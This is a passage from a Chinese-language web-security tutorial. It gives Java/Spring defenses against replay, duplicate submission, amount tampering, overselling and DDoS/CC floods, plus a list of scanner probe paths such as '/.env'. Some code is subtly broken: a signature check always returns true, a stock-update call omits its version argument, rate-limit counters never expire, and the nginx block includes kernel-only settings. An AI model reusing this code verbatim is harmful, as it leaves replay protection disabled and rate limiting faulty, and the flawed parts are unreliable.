    public void clearSensitiveData(byte[] sensitiveData) {
        if (sensitiveData != null) {
            Arrays.fill(sensitiveData, (byte) 0);
        }
    }
}

/**
 * 使用Jasypt进行配置文件加密
 */
// application.yml
// spring:
//   datasource:
//     password: ${DB_PASSWORD:ENC(加密后的密文)}
// 
// jasypt:
//   encryptor:
//     password: ${JASYPT_MASTER_KEY}
//     algorithm: PBEWithMD5AndDES

6.2 业务逻辑漏洞

6.2.1 常见业务漏洞

漏洞类型 说明 示例
竞态条件 并发操作导致数据不一致 重复下单、超卖
金额篡改 修改支付金额 负数金额、小数精度
重放攻击 重复提交请求 重复支付
参数篡改 修改业务参数 修改优惠券金额
流程绕过 跳过必要步骤 绕过支付直接完成订单

6.2.2 安全防御代码

方案一:防重复提交

/**
 * 防重复提交注解
 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface PreventDuplicateSubmit {
    String message() default "请勿重复提交";
    long interval() default 3000; // 默认3秒
}

/**
 * 防重复提交AOP切面
 */
@Aspect
@Component
@Slf4j
public class PreventDuplicateSubmitAspect {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    @Around("@annotation(preventDuplicateSubmit)")
    public Object around(ProceedingJoinPoint point, PreventDuplicateSubmit preventDuplicateSubmit) 
            throws Throwable {
        
        // 生成唯一Key
        String key = generateKey(point);
        
        // 检查是否重复提交
        Boolean isNew = redisTemplate.opsForValue().setIfAbsent(
            key, "1", preventDuplicateSubmit.interval(), TimeUnit.MILLISECONDS
        );
        
        if (!Boolean.TRUE.equals(isNew)) {
            throw new BusinessException(preventDuplicateSubmit.message());
        }
        
        try {
            return point.proceed();
        } catch (Exception e) {
            // 执行失败时删除Key,允许重试
            redisTemplate.delete(key);
            throw e;
        }
    }
    
    private String generateKey(ProceedingJoinPoint point) {
        // 基于用户ID + 方法签名 + 参数生成Key
        String userId = SecurityUtils.getCurrentUserId().toString();
        String methodName = point.getSignature().toShortString();
        String argsHash = DigestUtils.md5DigestAsHex(
            JSON.toJSONString(point.getArgs()).getBytes()
        );
        
        return String.format("duplicate:submit:%s:%s:%s", userId, methodName, argsHash);
    }
}

// 使用示例
@PostMapping("/order/create")
@PreventDuplicateSubmit(interval = 5000)
public ResponseEntity<Order> createOrder(@RequestBody CreateOrderRequest request) {
    // 创建订单逻辑
}

方案二:防重放攻击

/**
 * 防重放攻击过滤器
 */
@Component
public class ReplayAttackFilter implements Filter {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    // Nonce有效期(5分钟)
    private static final long NONCE_EXPIRY = 5 * 60 * 1000;
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        
        // 只校验POST/PUT/DELETE请求
        if (!isRequiresValidation(httpRequest.getMethod())) {
            chain.doFilter(request, response);
            return;
        }
        
        String nonce = httpRequest.getHeader("X-Nonce");
        String timestamp = httpRequest.getHeader("X-Timestamp");
        String signature = httpRequest.getHeader("X-Signature");
        
        // 1. 校验必要参数
        if (nonce == null || timestamp == null || signature == null) {
            ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_BAD_REQUEST);
            return;
        }
        
        // 2. 校验时间戳(防止过期请求)
        long requestTime = Long.parseLong(timestamp);
        long currentTime = System.currentTimeMillis();
        if (Math.abs(currentTime - requestTime) > NONCE_EXPIRY) {
            ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_REQUEST_TIMEOUT);
            return;
        }
        
        // 3. 校验Nonce唯一性(防止重放)
        String nonceKey = "nonce:" + nonce;
        Boolean isNew = redisTemplate.opsForValue().setIfAbsent(
            nonceKey, timestamp, NONCE_EXPIRY, TimeUnit.MILLISECONDS
        );
        
        if (!Boolean.TRUE.equals(isNew)) {
            ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_CONFLICT);
            return;
        }
        
        // 4. 校验签名(防篡改)
        if (!verifySignature(httpRequest, signature)) {
            ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
            return;
        }
        
        chain.doFilter(request, response);
    }
    
    private boolean isRequiresValidation(String method) {
        return "POST".equals(method) || "PUT".equals(method) || "DELETE".equals(method);
    }
    
    private boolean verifySignature(HttpServletRequest request, String signature) {
        // 验证签名逻辑
        // ...
        return true;
    }
}

方案三:金额安全处理

/**
 * 金额安全处理工具类
 */
public class MoneyUtils {
    
    // 使用BigDecimal进行金额计算
    public static final BigDecimal ZERO = BigDecimal.ZERO;
    public static final BigDecimal ONE_HUNDRED = new BigDecimal("100");
    
    /**
     * 安全的金额加法
     */
    public static BigDecimal add(BigDecimal amount1, BigDecimal amount2) {
        if (amount1 == null) amount1 = ZERO;
        if (amount2 == null) amount2 = ZERO;
        return amount1.add(amount2).setScale(2, RoundingMode.HALF_UP);
    }
    
    /**
     * 安全的金额乘法
     */
    public static BigDecimal multiply(BigDecimal amount, BigDecimal rate) {
        if (amount == null || rate == null) return ZERO;
        return amount.multiply(rate).setScale(2, RoundingMode.HALF_UP);
    }
    
    /**
     * 校验金额合法性
     */
    public static void validateAmount(BigDecimal amount) {
        if (amount == null) {
            throw new BusinessException("金额不能为空");
        }
        
        // 不能为负数
        if (amount.compareTo(ZERO) < 0) {
            throw new BusinessException("金额不能为负数");
        }
        
        // 不能超过最大值
        BigDecimal maxAmount = new BigDecimal("99999999.99");
        if (amount.compareTo(maxAmount) > 0) {
            throw new BusinessException("金额超过最大限制");
        }
        
        // 最小单位校验(分)
        if (amount.scale() > 2) {
            throw new BusinessException("金额精度不能超过2位小数");
        }
    }
    
    /**
     * 元转分
     */
    public static Long yuanToFen(BigDecimal yuan) {
        return yuan.multiply(ONE_HUNDRED).longValueExact();
    }
    
    /**
     * 分转元
     */
    public static BigDecimal fenToYuan(Long fen) {
        return new BigDecimal(fen).divide(ONE_HUNDRED, 2, RoundingMode.HALF_UP);
    }
}

/**
 * 订单服务 - 金额安全处理
 */
@Service
public class OrderService {
    
    @Autowired
    private OrderRepository orderRepository;
    
    @Autowired
    private RedissonClient redissonClient;
    
    /**
     * 创建订单(带乐观锁 + 分布式锁)
     */
    @Transactional
    public Order createOrder(CreateOrderRequest request) {
        // 1. 校验金额
        MoneyUtils.validateAmount(request.getAmount());
        
        // 2. 获取商品信息(带分布式锁防止超卖)
        String lockKey = "lock:product:" + request.getProductId();
        RLock lock = redissonClient.getLock(lockKey);
        
        try {
            if (!lock.tryLock(5, 10, TimeUnit.SECONDS)) {
                throw new BusinessException("系统繁忙,请稍后重试");
            }
            
            // 3. 查询商品并校验价格
            Product product = productRepository.findById(request.getProductId())
                .orElseThrow(() -> new NotFoundException("商品不存在"));
            
            // 4. 校验前端传入的价格与后端一致
            if (request.getAmount().compareTo(product.getPrice()) != 0) {
                throw new BusinessException("价格不一致,请刷新后重试");
            }
            
            // 5. 检查库存
            if (product.getStock() < request.getQuantity()) {
                throw new BusinessException("库存不足");
            }
            
            // 6. 扣减库存(乐观锁)
            int updated = productRepository.decreaseStock(
                product.getId(), request.getQuantity()
            );
            if (updated == 0) {
                throw new BusinessException("库存不足");
            }
            
            // 7. 创建订单
            Order order = new Order();
            order.setProductId(product.getId());
            order.setAmount(MoneyUtils.multiply(product.getPrice(), 
                new BigDecimal(request.getQuantity())));
            order.setStatus(OrderStatus.CREATED);
            
            return orderRepository.save(order);
            
        } finally {
            if (lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
    }
}

// 乐观锁 - 库存扣减
@Modifying
@Query("UPDATE Product p SET p.stock = p.stock - :quantity, " +
       "p.version = p.version + 1 " +
       "WHERE p.id = :id AND p.stock >= :quantity AND p.version = :version")
int decreaseStock(@Param("id") Long id, 
                  @Param("quantity") Integer quantity,
                  @Param("version") Integer version);

七、DDoS分布式拒绝服务攻击

7.1 漏洞原理

DDoS(Distributed Denial of Service)攻击是指攻击者通过控制大量僵尸主机(Botnet),向目标服务器发送海量请求,耗尽服务器资源(带宽、CPU、内存、连接数),导致正常用户无法访问服务。

7.2 DDoS攻击类型

攻击层级 攻击类型 攻击原理 危害等级
网络层(L3) ICMP Flood 大量Ping请求耗尽带宽 ⭐⭐⭐
网络层(L3) IP Fragment Flood IP分片攻击消耗处理资源 ⭐⭐⭐
传输层(L4) SYN Flood 半连接耗尽连接队列 ⭐⭐⭐⭐
传输层(L4) ACK Flood 大量ACK包消耗处理资源 ⭐⭐⭐
传输层(L4) UDP Flood UDP洪泛耗尽带宽 ⭐⭐⭐⭐
传输层(L4) TCP连接耗尽 大量空连接占用连接池 ⭐⭐⭐⭐
应用层(L7) HTTP Flood 模拟正常HTTP请求 ⭐⭐⭐⭐⭐
应用层(L7) Slowloris 慢速连接保持连接不释放 ⭐⭐⭐⭐
应用层(L7) CC攻击 针对特定接口的高频请求 ⭐⭐⭐⭐⭐
应用层(L7) HTTP/2 Rapid Reset 利用HTTP/2协议漏洞 ⭐⭐⭐⭐⭐

7.3 攻击特征识别

/**
 * DDoS攻击特征识别模型
 */
@Data
public class AttackSignature {
    
    // 网络层特征
    public static class NetworkLayer {
        // 单IP高频请求
        private static final int HIGH_FREQUENCY_THRESHOLD = 100; // 每秒请求次数
        
        // 相同源IP大量连接
        private static final int CONNECTION_THRESHOLD = 50; // 并发连接数
        
        // 异常包大小
        private static final int MIN_PACKET_SIZE = 40;
        private static final int MAX_PACKET_SIZE = 1500;
    }
    
    // 应用层特征
    public static class ApplicationLayer {
        // 相同User-Agent大量请求
        private static final int SAME_UA_THRESHOLD = 1000;
        
        // 异常请求路径(扫描行为)
        private static final Set<String> SUSPICIOUS_PATHS = Set.of(
            "/admin", "/wp-login", "/phpMyAdmin", "/.env"
        );
        
        // 请求间隔异常(机器行为)
        private static final long MIN_REQUEST_INTERVAL = 100; // 毫秒
    }
}

7.4 应用层DDoS防御

方案一:多层限流策略

/**
 * 多层限流防御系统
 */
@Configuration
@EnableScheduling
public class DDoSProtectionConfig {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    /**
     * 第一层:IP限流(基于滑动窗口)
     */
    @Component
    public class IpRateLimiter {
        
        private static final int MAX_REQUESTS_PER_SECOND = 10;
        private static final int MAX_REQUESTS_PER_MINUTE = 200;
        private static final int MAX_REQUESTS_PER_HOUR = 2000;
        
        public boolean isAllowed(String ip) {
            long now = System.currentTimeMillis();
            
            // 1秒窗口
            String key1s = "rate:ip:" + ip + ":1s";
            Long count1s = incrementCounter(key1s, 1);
            if (count1s > MAX_REQUESTS_PER_SECOND) {
                return false;
            }
            
            // 1分钟窗口
            String key1m = "rate:ip:" + ip + ":1m";
            Long count1m = incrementCounter(key1m, 60);
            if (count1m > MAX_REQUESTS_PER_MINUTE) {
                return false;
            }
            
            // 1小时窗口
            String key1h = "rate:ip:" + ip + ":1h";
            Long count1h = incrementCounter(key1h, 3600);
            if (count1h > MAX_REQUESTS_PER_HOUR) {
                return false;
            }
            
            return true;
        }
        
        private Long incrementCounter(String key, long windowSeconds) {
            return redisTemplate.opsForValue().increment(key);
        }
    }
    
    /**
     * 第二层:接口限流(针对热点接口)
     */
    @Component
    public class ApiRateLimiter {
        
        // 接口限流配置
        private final Map<String, RateLimitConfig> apiConfigs = Map.of(
            "/api/login", new RateLimitConfig(5, 60),      // 登录:5次/分钟
            "/api/register", new RateLimitConfig(3, 3600),  // 注册:3次/小时
            "/api/sms/send", new RateLimitConfig(1, 60),    // 短信:1次/分钟
            "/api/search", new RateLimitConfig(30, 60)      // 搜索:30次/分钟
        );
        
        public boolean isAllowed(String ip, String api) {
            RateLimitConfig config = apiConfigs.get(api);
            if (config == null) {
                return true; // 未配置限流的接口
            }
            
            String key = "rate:api:" + api + ":" + ip;
            Long count = redisTemplate.opsForValue().increment(key);
            
            if (count == 1) {
                redisTemplate.expire(key, config.getWindowSeconds(), TimeUnit.SECONDS);
            }
            
            return count <= config.getMaxRequests();
        }
        
        @Data
        @AllArgsConstructor
        private static class RateLimitConfig {
            private int maxRequests;
            private long windowSeconds;
        }
    }
    
    /**
     * 第三层:全局限流(保护整体系统)
     */
    @Component
    public class GlobalRateLimiter {
        
        private static final int GLOBAL_MAX_QPS = 10000; // 系统最大QPS
        private static final int GLOBAL_MAX_CONNECTIONS = 50000; // 最大并发连接
        
        private final AtomicLong currentQps = new AtomicLong(0);
        private final AtomicInteger currentConnections = new AtomicInteger(0);
        
        @Scheduled(fixedRate = 1000)
        public void resetQpsCounter() {
            currentQps.set(0);
        }
        
        public boolean isAllowed() {
            // 检查QPS
            if (currentQps.incrementAndGet() > GLOBAL_MAX_QPS) {
                return false;
            }
            
            // 检查并发连接数
            if (currentConnections.get() >= GLOBAL_MAX_CONNECTIONS) {
                return false;
            }
            
            return true;
        }
        
        public void incrementConnections() {
            currentConnections.incrementAndGet();
        }
        
        public void decrementConnections() {
            currentConnections.decrementAndGet();
        }
    }
}

/**
 * DDoS防护过滤器
 */
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
@Slf4j
public class DDoSProtectionFilter implements Filter {
    
    @Autowired
    private DDoSProtectionConfig.IpRateLimiter ipRateLimiter;
    
    @Autowired
    private DDoSProtectionConfig.ApiRateLimiter apiRateLimiter;
    
    @Autowired
    private DDoSProtectionConfig.GlobalRateLimiter globalRateLimiter;
    
    @Autowired
    private IpBlacklistService ipBlacklistService;
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        String clientIp = getClientIp(httpRequest);
        String uri = httpRequest.getRequestURI();
        
        // 0. 黑名单检查
        if (ipBlacklistService.isBlacklisted(clientIp)) {
            log.warn("Blocked request from blacklisted IP: {}", clientIp);
            httpResponse.setStatus(HttpStatus.FORBIDDEN.value());
            return;
        }
        
        // 1. 全局限流检查
        if (!globalRateLimiter.isAllowed()) {
            log.warn("Global rate limit exceeded");
            httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
            httpResponse.setHeader("Retry-After", "60");
            return;
        }
        
        // 2. IP限流检查
        if (!ipRateLimiter.isAllowed(clientIp)) {
            log.warn("IP rate limit exceeded: {}", clientIp);
            ipBlacklistService.tempBlacklist(clientIp, 300); // 临时封禁5分钟
            httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
            httpResponse.setHeader("Retry-After", "300");
            return;
        }
        
        // 3. 接口限流检查
        if (!apiRateLimiter.isAllowed(clientIp, uri)) {
            log.warn("API rate limit exceeded: {} - {}", clientIp, uri);
            httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
            httpResponse.setHeader("Retry-After", "60");
            return;
        }
        
        // 4. 增加连接计数
        globalRateLimiter.incrementConnections();
        
        try {
            chain.doFilter(request, response);
        } finally {
            globalRateLimiter.decrementConnections();
        }
    }
    
    private String getClientIp(HttpServletRequest request) {
        String ip = request.getHeader("X-Forwarded-For");
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("X-Real-IP");
        }
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        
        // 多个代理时取第一个
        if (ip != null && ip.contains(",")) {
            ip = ip.split(",")[0].trim();
        }
        
        return ip;
    }
}

方案二:智能IP信誉系统

/**
 * IP信誉评分系统
 */
@Service
@Slf4j
public class IpReputationService {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    // 信誉评分阈值
    private static final int REPUTATION_THRESHOLD = 60; // 低于此分数视为可疑
    private static final int BLACKLIST_THRESHOLD = 30;  // 低于此分数直接封禁
    
    // 评分规则
    private static final int SCORE_HIGH_FREQUENCY = -20;    // 高频请求扣分
    private static final int SCORE_SUSPICIOUS_PATH = -10;   // 访问可疑路径扣分
    private static final int SCORE_INVALID_UA = -15;        // 异常User-Agent扣分
    private static final int SCORE_NORMAL_REQUEST = 1;      // 正常请求加分
    private static final int SCORE_CAPTCHA_SUCCESS = 20;    // 验证码通过加分
    
    /**
     * 获取IP信誉评分
     */
    public int getReputationScore(String ip) {
        String key = "reputation:ip:" + ip;
        String score = redisTemplate.opsForValue().get(key);
        return score != null ? Integer.parseInt(score) : 100; // 默认100分
    }
    
    /**
     * 更新IP信誉评分
     */
    public void updateScore(String ip, int delta) {
        String key = "reputation:ip:" + ip;
        Long newScore = redisTemplate.opsForValue().increment(key, delta);
        
        // 限制分数范围0-100
        if (newScore != null) {
            if (newScore > 100) {
                redisTemplate.opsForValue().set(key, "100");
            } else if (newScore < 0) {
                redisTemplate.opsForValue().set(key, "0");
            }
        }
        
        // 设置过期时间(7天后重置)
        redisTemplate.expire(key, 7, TimeUnit.DAYS);
        
        // 检查是否需要封禁
        if (newScore != null && newScore <= BLACKLIST_THRESHOLD) {
            blacklistIp(ip);
        }
    }
    
    /**
     * 检查IP是否可信
     */
    public ReputationStatus checkReputation(String ip) {
        int score = getReputationScore(ip);
        
        if (score <= BLACKLIST_THRESHOLD) {
            return ReputationStatus.BLACKLISTED;
        } else if (score <= REPUTATION_THRESHOLD) {
            return ReputationStatus.SUSPICIOUS;
        } else {
            return ReputationStatus.TRUSTED;
        }
    }
    
    /**
     * 封禁IP
     */
    private void blacklistIp(String ip) {
        String key = "blacklist:ip:" + ip;
        redisTemplate.opsForValue().set(key, "auto", 24, TimeUnit.HOURS);
        log.warn("IP auto-blacklisted due to low reputation: {}", ip);
    }
    
    /**
     * 信誉状态枚举
     */
    public enum ReputationStatus {
        TRUSTED,     // 可信
        SUSPICIOUS,  // 可疑(需要验证码)
        BLACKLISTED  // 已封禁
    }
}

/**
 * 基于信誉的防护过滤器
 */
@Component
public class ReputationBasedFilter implements Filter {
    
    @Autowired
    private IpReputationService reputationService;
    
    @Autowired
    private CaptchaService captchaService;
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        String clientIp = getClientIp(httpRequest);
        
        // 检查IP信誉
        IpReputationService.ReputationStatus status = reputationService.checkReputation(clientIp);
        
        switch (status) {
            case BLACKLISTED:
                httpResponse.setStatus(HttpStatus.FORBIDDEN.value());
                httpResponse.getWriter().write("Access denied");
                return;
                
            case SUSPICIOUS:
                // 可疑IP需要验证码
                if (!captchaService.verifyCaptcha(httpRequest)) {
                    httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
                    httpResponse.setContentType("application/json");
                    httpResponse.getWriter().write("{\"code\":\"CAPTCHA_REQUIRED\",\"message\":\"请完成验证码\"}");
                    return;
                }
                // 验证码通过,增加信誉分
                reputationService.updateScore(clientIp, IpReputationService.SCORE_CAPTCHA_SUCCESS);
                break;
                
            case TRUSTED:
            default:
                // 正常请求,增加信誉分
                reputationService.updateScore(clientIp, IpReputationService.SCORE_NORMAL_REQUEST);
                break;
        }
        
        chain.doFilter(request, response);
    }
}

方案三:Slowloris慢速攻击防御

/**
 * Slowloris攻击防御配置
 */
@Configuration
public class SlowlorisProtectionConfig {
    
    /**
     * 嵌入式Tomcat配置
     */
    @Bean
    public EmbeddedServletContainerFactory servletContainer() {
        TomcatEmbeddedServletContainerFactory factory = new TomcatEmbeddedServletContainerFactory();
        
        factory.addConnectorCustomizers(connector -> {
            // 设置连接超时
            connector.setProperty("connectionTimeout", "10000"); // 10秒
            
            // 设置最大连接数
            connector.setProperty("maxConnections", "10000");
            
            // 设置最大Keep-Alive请求数
            connector.setProperty("maxKeepAliveRequests", "100");
            
            // 设置Keep-Alive超时
            connector.setProperty("keepAliveTimeout", "15000"); // 15秒
            
            // 限制HTTP头大小
            connector.setProperty("maxHttpHeaderSize", "8192");
            
            // 限制POST大小
            connector.setProperty("maxPostSize", "10485760"); // 10MB
        });
        
        // 配置线程池
        factory.addContextCustomizers(context -> {
            ProtocolHandler handler = ((StandardContext) context).getProtocolHandler();
            if (handler instanceof Http11NioProtocol) {
                Http11NioProtocol protocol = (Http11NioProtocol) handler;
                
                // 最小空闲线程
                protocol.setMinSpareThreads(25);
                
                // 最大线程数
                protocol.setMaxThreads(200);
                
                // 接收器线程数
                protocol.setAcceptorThreadCount(2);
            }
        });
        
        return factory;
    }
}

/**
 * Nginx配置参考(Slowloris防御)
 */
/*
# nginx.conf

http {
    # 限制请求体大小
    client_max_body_size 10m;
    
    # 限制请求头大小
    large_client_header_buffers 4 8k;
    
    # 超时设置
    client_body_timeout 10s;
    client_header_timeout 10s;
    keepalive_timeout 15s;
    send_timeout 10s;
    
    # 限制并发连接
    limit_conn_zone $binary_remote_addr zone=addr:10m;
    limit_conn addr 100;
    
    # 限制请求速率
    limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
    limit_req zone=one burst=20 nodelay;
    
    # SYN Cookie
    tcp_synack_retries 1;
    tcp_max_syn_backlog 8192;
}
*/

方案四:HTTP/2 Rapid Reset防御

/**
 * HTTP/2安全配置
 */
@Configuration
public class Http2SecurityConfig {
    
    /**
     * 配置HTTP/2安全参数
     */
    @Bean
    public WebServerFactoryCustomizer<TomcatServletWebServerFactory> http2Customizer() {
        return factory -> {
            factory.addConnectorCustomizers(connector -> {
                ProtocolHandler handler = connector.getProtocolHandler();
                
                if (handler instanceof Http2Protocol) {
                    Http2Protocol http2 = (Http2Protocol) handler;
                    
                    // 限制最大并发流
                    http2.setMaxConcurrentStreams(100);
                    
                    // 限制最大帧大小
                    http2.setMaxFrameSize(16384);
                    
                    // 限制最大头列表大小
                    http2.setMaxHeaderListSize(8192);
                    
                    // 设置初始窗口大小
                    http2.setInitialWindowSize(65535);
                }
            });
        };
    }
    
    /**
     * HTTP/2流控管理器
     */
    @Component
    public static class Http2StreamController {
        
        @Autowired
        private RedisTemplate<String, String> redisTemplate;
        
        // 每个连接最大并发流
        private static final int MAX_STREAMS_PER_CONNECTION = 100;
        
        // 每秒最大新建流数
        private static final int MAX_NEW_STREAMS_PER_SECOND = 50;
        
        /**
         * 检查是否允许新建流
         */
        public boolean allowNewStream(String connectionId) {
            // 检查并发流数量
            String concurrentKey = "h2:streams:" + connectionId;
            Long concurrent = redisTemplate.opsForValue().increment(concurrentKey);
            
            if (concurrent != null && concurrent > MAX_STREAMS_PER_CONNECTION) {
                redisTemplate.opsForValue().decrement(concurrentKey);
                return false;
            }
            
            // 检查新建流速率
            String rateKey = "h2:new_streams:" + connectionId;
            Long rate = redisTemplate.opsForValue().increment(rateKey);
            
            if (rate == 1) {
                redisTemplate.expire(rateKey, 1, TimeUnit.SECONDS);
            }
            
            if (rate != null && rate > MAX_NEW_STREAMS_PER_SECOND) {
                return false;
            }
            
            return true;
        }
        
        /**
         * 流关闭时清理
         */
        public void onStreamClosed(String connectionId) {
            String key = "h2:streams:" + connectionId;
            redisTemplate.opsForValue().decrement(key);
        }
    }
}

7.5 CC攻击防御

/**
 * CC攻击防御服务
 */
@Service
@Slf4j
public class CcAttackDefenseService {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    @Autowired
    private CaptchaService captchaService;
    
    // CC攻击阈值
    private static final int CC_THRESHOLD = 50; // 单IP单接口每分钟请求次数
    private static final int CC_BLOCK_THRESHOLD = 100; // 触发封禁的阈值
    
    // 热点接口监控
    private static final Set<String> HOT_APIS = Set.of(
        "/api/login",
        "/api/register",
        "/api/search",
        "/api/product/list",
        "/api/order/create"
    );
    
    /**
     * 检测CC攻击
     */
    public CcAttackResult detectCcAttack(String ip, String uri) {
        // 只监控热点接口
        if (!HOT_APIS.contains(uri)) {
            return CcAttackResult.NORMAL;
        }
        
        String key = "cc:" + ip + ":" + uri;
        String minuteKey = key + ":minute";
        
        // 获取分钟请求次数
        Long count = redisTemplate.opsForValue().increment(minuteKey);
        if (count == 1) {
            redisTemplate.expire(minuteKey, 1, TimeUnit.MINUTES);
        }
        
        // 检测攻击
        if (count != null) {
            if (count >= CC_BLOCK_THRESHOLD) {
                log.warn("CC attack detected, blocking IP: {}, URI: {}, Count: {}", 
                    ip, uri, count);
                return CcAttackResult.BLOCK;
            } else if (count >= CC_THRESHOLD) {
                log.warn("Potential CC attack, requiring captcha: {}, URI: {}, Count: {}", 
                    ip, uri, count);
                return CcAttackResult.CAPTCHA;
            }
        }
        
        return CcAttackResult.NORMAL;
    }
    
    /**
     * 获取防御策略
     */
    public DefenseAction getDefenseAction(String ip, String uri) {
        CcAttackResult result = detectCcAttack(ip, uri);
        
        switch (result) {
            case BLOCK:
                return new DefenseAction(DefenseAction.ActionType.BLOCK, "IP已被封禁");
            case CAPTCHA:
                return new DefenseAction(DefenseAction.ActionType.CAPTCHA, "请完成验证码");
            case NORMAL:
            default:
                return new DefenseAction(DefenseAction.ActionType.ALLOW, null);
        }
    }
    
    /**
     * CC攻击检测结果
     */
    public enum CcAttackResult {
        NORMAL,   // 正常
        CAPTCHA,  // 需要验证码
        BLOCK     // 封禁
    }
    
    /**
     * 防御动作
     */
    @Data
    @AllArgsConstructor
    public static class DefenseAction {
        private ActionType type;
        private String message;
        
        public enum ActionType {
            ALLOW,    // 允许
            CAPTCHA,  // 需要验证码
            BLOCK     // 封禁
        }
    }
}

/**
 * CC攻击防御拦截器
 */
@Component
public class CcAttackInterceptor implements HandlerInterceptor {
    
    @Autowired
    private CcAttackDefenseService ccDefenseService;
    
    @Autowired
    private IpBlacklistService blacklistService;
    
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
                            Object handler) throws Exception {
        
        String ip = getClientIp(request);
        String uri = request.getRequestURI();
        
        // 获取防御动作
        CcAttackDefenseService.DefenseAction action = ccDefenseService.getDefenseAction(ip, uri);
        
        switch (action.getType()) {
            case BLOCK:
                // 临时封禁
                blacklistService.tempBlacklist(ip, 1800); // 30分钟
                response.setStatus(HttpStatus.FORBIDDEN.value());
                response.getWriter().write("{\"code\":\"BLOCKED\",\"message\":\"" + 
                    action.getMessage() + "\"}");
                return false;
                
            case CAPTCHA:
                // 要求验证码
                response.setStatus(429);
                response.setContentType("application/json");
                response.getWriter().write("{\"code\":\"CAPTCHA_REQUIRED\",\"message\":\"" + 
                    action.getMessage() + "\"}");
                return false;
                
            case ALLOW:
            default:
                return true;
        }
    }
    
    private String getClientIp(HttpServletRequest request) {
        String ip = request.getHeader("X-Forwarded-For");
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("X-Real-IP");
        }
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        if (ip != null && ip.contains(",")) {
            ip = ip.split(",")[0].trim();
        }
        return ip;
    }
}

7.6 黑名单管理服务

/**
 * IP黑名单管理服务
 */
@Service
@Slf4j
public class IpBlacklistService {
    
    @Autowired
    private RedisTemplate<String, String> redisTemplate;
    
    @Autowired
    private IpReputationService reputationService;
    
    // 黑名单Key前缀
    private static final String BLACKLIST_PREFIX = "blacklist:ip:";
    private static final String WHITELIST_PREFIX = "whitelist:ip:";
    
    /**
     * 检查IP是否在黑名单
     */
    public boolean isBlacklisted(String ip) {
        // 白名单优先
        if (isWhitelisted(ip)) {
            return false;
        }
        
        String key = BLACKLIST_PREFIX + ip;
        return Boolean.TRUE.equals(redisTemplate.hasKey(key));
    }
    
    /**
     * 检查IP是否在白名单
     */
    public boolean isWhitelisted(String ip) {
        String key = WHITELIST_PREFIX + ip;
        return Boolean.TRUE.equals(redisTemplate.hasKey(key));
    }
    
    /**
     * 临时封禁IP
     */
    public void tempBlacklist(String ip, long durationSeconds) {
        String key = BLACKLIST_PREFIX + ip;
        redisTemplate.opsForValue().set(key, "temp", durationSeconds, TimeUnit.SECONDS);
        
        log.warn("IP temporarily blacklisted: {}, duration: {}s", ip, durationSeconds);
        
        // 记录封禁日志
        saveBlacklistLog(ip, "TEMP", durationSeconds);
    }
    
    /**
     * 永久封禁IP
     */
    public void permanentBlacklist(String ip, String reason) {
        String key = BLACKLIST_PREFIX + ip;
        redisTemplate.opsForValue().set(key, "permanent:" + reason);
        
        log.warn("IP permanently blacklisted: {}, reason: {}", ip, reason);
        
        // 记录封禁日志
        saveBlacklistLog(ip, "PERMANENT", -1);
    }
    
    /**
     * 解封IP
     */
    public void unblacklist(String ip) {
        String key = BLACKLIST_PREFIX + ip;
        redisTemplate.delete(key);
        
        log.info("IP unblacklisted: {}", ip);
    }
    
    /**
     * 添加白名单
     */
    public void addToWhitelist(String ip) {
        String key = WHITELIST_PREFIX + ip;
        redisTemplate.opsForValue().set(key, "whitelisted");
        
        log.info("IP added to whitelist: {}", ip);
    }
    
    /**
     * 获取所有黑名单IP
     */
    public Set<String> getAllBlacklistedIps() {
        Set<String> keys = redisTemplate.keys(BLACKLIST_PREFIX + "*");
        if (keys == null) return Collections.emptySet();
        
        return keys.stream()
            .map(key -> key.replace(BLACKLIST_PREFIX, ""))
            .collect(Collectors.toSet());
    }
    
    /**
     * 保存封禁日志
     */
    private void saveBlacklistLog(String ip, String type, long duration) {
        BlacklistLog log = new BlacklistLog();
        log.setIp(ip);
        log.setType(type);
        log.setDuration(duration);
        log.setTimestamp(LocalDateTime.now());
        log.setReputationScore(reputationService.getReputationScore(ip));
        
        // 保存到数据库
        blacklistLogRepository.save(log);
    }
    
    /**
     * 批量导入黑名单
     */
    @Transactional
    public void importBlacklist(List<String> ips, String reason) {
        for (String ip : ips) {
            permanentBlacklist(ip, reason);
        }
    }
    
    /**
     * 定期清理过期黑名单
     */
    @Scheduled(cron = "0 0 2 * * ?") // 每天凌晨2点执行
    public void cleanupExpiredBlacklist() {
        // Redis会自动清理过期的临时黑名单
        log.info("Blacklist cleanup completed");
    }
}

